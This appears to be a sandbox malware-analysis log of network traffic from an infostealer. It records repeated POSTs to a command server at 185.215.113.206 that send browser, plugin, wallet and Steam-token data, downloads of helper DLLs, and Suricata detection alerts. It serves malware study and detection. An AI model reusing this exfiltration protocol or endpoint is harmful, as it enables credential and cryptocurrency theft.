Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="message"browsers------BGCAFHCAKFBFIECAFIIJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECGIIIDAKJDHJKFHIEBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 2d 2d 0d 0a Data Ascii: ------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="message"plugins------JECGIIIDAKJDHJKFHIEB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 2d 2d 0d 0a Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="message"fplugins------DBKFIDAAEHIEGCBFIDBF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJKHost: 185.215.113.206Content-Length: 7719Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJJECBKKECFIEBGCAKJHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDAFHDHCBGDGCBGCGIIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 2d 2d 0d 0a Data Ascii: ------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="file"------HIDAFHDHCBGDGCBGCGII--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDBHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIDAKECFIEBGDHJEBKKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 2d 2d 0d 0a Data Ascii: ------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="file"------EHIDAKECFIEBGDHJEBKK--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIDGCFHIEHJJJJECAKHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFCAKEHDHDHIDHDGDHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 2d 2d 0d 0a Data Ascii: ------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="message"wallets------CBAFCAKEHDHDHIDHDGDH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCBGIIJKEBFCBGDBAEBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 2d 2d 0d 0a Data Ascii: ------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="message"files------FHCBGIIJKEBFCBGDBAEB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKEHJJDAAAAKECBGHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 2d 2d 0d 0a Data Ascii: ------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="file"------JEBKEHJJDAAAAKECBGHD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="message"ybncbhylepme------FHJDGHIJDGCBAAAAAFIJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAFBAEBKJKFIDHJJKJKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HDAFBAEBKJKFIDHJJKJK--

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 20.189.173.2 20.189.173.2
Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49838 -> 185.215.113.206:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49996 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TXBfPSsBeSvvhKV&MD=pRK4hGWm HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
